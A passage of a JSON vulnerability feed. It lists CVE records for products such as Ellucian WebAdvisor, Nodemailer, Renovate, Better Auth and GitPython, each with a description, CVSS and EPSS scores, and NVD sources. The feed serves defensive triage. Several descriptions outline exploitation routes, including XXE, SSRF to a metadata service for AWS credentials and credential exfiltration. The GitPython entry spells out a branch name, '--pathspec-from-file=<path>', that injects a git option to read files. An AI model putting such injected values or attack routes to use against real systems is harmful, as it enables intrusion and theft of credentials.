score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73799","cveId":"CVE-2026-73799","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption","summary":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption","detail":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:15.457Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73799","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00263,"percentile":0.17912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73799","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73799","type":"primary","publishedAt":"2026-10-15T02:20:15.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109430","cveId":"CVE-2026-109430","aliases":[],"kind":"vulnerability","title":"Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the...","summary":"Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the /WebAdvisor/WebAdvisor endpoint without disabling external entity and DTD resolution. Attackers can exploit this flaw to force the server into SSRF requests, coerce NTLMv2 hash disclosure via attacker-controlled SMB shares, and read arbitrary files from the underlying Windows host through an out-of-band error-based channel. WebAdvisor entered end-of-support status in June 2022 and users are encouraged to migrate to Colleague Self-Service.","detail":"Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the /WebAdvisor/WebAdvisor endpoint without disabling external entity and DTD resolution. Attackers can exploit this flaw to force the server into SSRF requests, coerce NTLMv2 hash disclosure via attacker-controlled SMB shares, and read arbitrary files from the underlying Windows host through an out-of-band error-based channel. WebAdvisor entered end-of-support status in June 2022 and users are encouraged to migrate to Colleague Self-Service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:18:37.150Z","updatedAt":"2026-10-20T03:17:12.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109430","asOf":"2026-10-20T03:17:12.903Z"},"epss":{"probability":0.00344,"percentile":0.27658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109430","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109430","type":"primary","publishedAt":"2026-10-15T02:18:37.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109430, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0993","cveId":"CVE-2026-0993","aliases":[],"kind":"vulnerability","title":"SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an...","summary":"SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an oversized boundary value in the Content-Type header of a crafted POST request. Attackers can exploit the embedded HTTP server's multipart/form-data boundary parser to cause the device to become fully unresponsive — dropping all management access and traffic forwarding during its self-recovery cycle.","detail":"SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an oversized boundary value in the Content-Type header of a crafted POST request. Attackers can exploit the embedded HTTP server's multipart/form-data boundary parser to cause the device to become fully unresponsive — dropping all management access and traffic forwarding during its self-recovery cycle.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T01:19:27.290Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0993","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00391,"percentile":0.32957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0993","type":"primary","publishedAt":"2026-10-15T01:19:27.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110873","cveId":"CVE-2026-110873","aliases":[],"kind":"vulnerability","title":"Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is...","summary":"Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is missing from OWNER_ONLY_EXECUTION_FIELDS. Attackers can point the error workflow to their own workflow with an HTTP node, and when the parent workflow errors the owner's decrypted credentials are injected and exfiltrated.","detail":"Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is missing from OWNER_ONLY_EXECUTION_FIELDS. Attackers can point the error workflow to their own workflow with an HTTP node, and when the parent workflow errors the owner's decrypted credentials are injected and exfiltrated.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:29.237Z","updatedAt":"2026-10-16T18:17:34.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110873","asOf":"2026-10-16T18:17:34.377Z"},"epss":{"probability":0.00213,"percentile":0.11452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110873","type":"primary","publishedAt":"2026-10-14T23:17:29.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110872","cveId":"CVE-2026-110872","aliases":[],"kind":"vulnerability","title":"Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and...","summary":"Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and isPartialResponse. A malicious SMTP server or on-path attacker can stream continuation lines without a completion line before authentication, blocking the Node.js event loop and exhausting memory.","detail":"Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and isPartialResponse. A malicious SMTP server or on-path attacker can stream continuation lines without a completion line before authentication, blocking the Node.js event loop and exhausting memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:29.097Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110872","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00355,"percentile":0.28899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110872","type":"primary","publishedAt":"2026-10-14T23:17:29.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110869","cveId":"CVE-2026-110869","aliases":[],"kind":"vulnerability","title":"Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping...","summary":"Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.","detail":"Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:28.673Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110869","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00367,"percentile":0.30246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110869","type":"primary","publishedAt":"2026-10-14T23:17:28.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110868","cveId":"CVE-2026-110868","aliases":[],"kind":"vulnerability","title":"Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets...","summary":"Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.","detail":"Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:28.537Z","updatedAt":"2026-10-16T18:17:34.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110868","asOf":"2026-10-16T18:17:34.243Z"},"epss":{"probability":0.00178,"percentile":0.07279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110868","type":"primary","publishedAt":"2026-10-14T23:17:28.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110865","cveId":"CVE-2026-110865","aliases":[],"kind":"vulnerability","title":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared...","summary":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared presets. Attackers can supply internal or externally sourced presets with unvalidated hostRules[].headers to inject custom HTTP headers into requests Renovate sends to other hosts.","detail":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared presets. Attackers can supply internal or externally sourced presets with unvalidated hostRules[].headers to inject custom HTTP headers into requests Renovate sends to other hosts.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:28.110Z","updatedAt":"2026-10-26T16:17:11.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110865","asOf":"2026-10-26T16:17:11.850Z"},"epss":{"probability":0.00185,"percentile":0.08003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110865&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110865","type":"primary","publishedAt":"2026-10-14T23:17:28.110Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110865&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110865, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110863","cveId":"CVE-2026-110863","aliases":[],"kind":"vulnerability","title":"Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering...","summary":"Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering a personal SSO provider. Attackers can copy a legitimate provider's OIDC issuer or SAML entity ID and assert a victim's subject or NameID, because account lookup ignores providerId, creating sessions for victim accounts.","detail":"Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering a personal SSO provider. Attackers can copy a legitimate provider's OIDC issuer or SAML entity ID and assert a victim's subject or NameID, because account lookup ignores providerId, creating sessions for victim accounts.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:27.830Z","updatedAt":"2026-10-16T18:17:34.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110863","asOf":"2026-10-16T18:17:34.130Z"},"epss":{"probability":0.00269,"percentile":0.1887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110863","type":"primary","publishedAt":"2026-10-14T23:17:27.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110859","cveId":"CVE-2026-110859","aliases":[],"kind":"vulnerability","title":"GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a...","summary":"GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a git option. Attackers can host a repository whose default branch is named --pathspec-from-file=<path>, causing cloning applications that check out the active branch to leak file contents through GitCommandError messages.","detail":"GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a git option. Attackers can host a repository whose default branch is named --pathspec-from-file=<path>, causing cloning applications that check out the active branch to leak file contents through GitCommandError messages.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 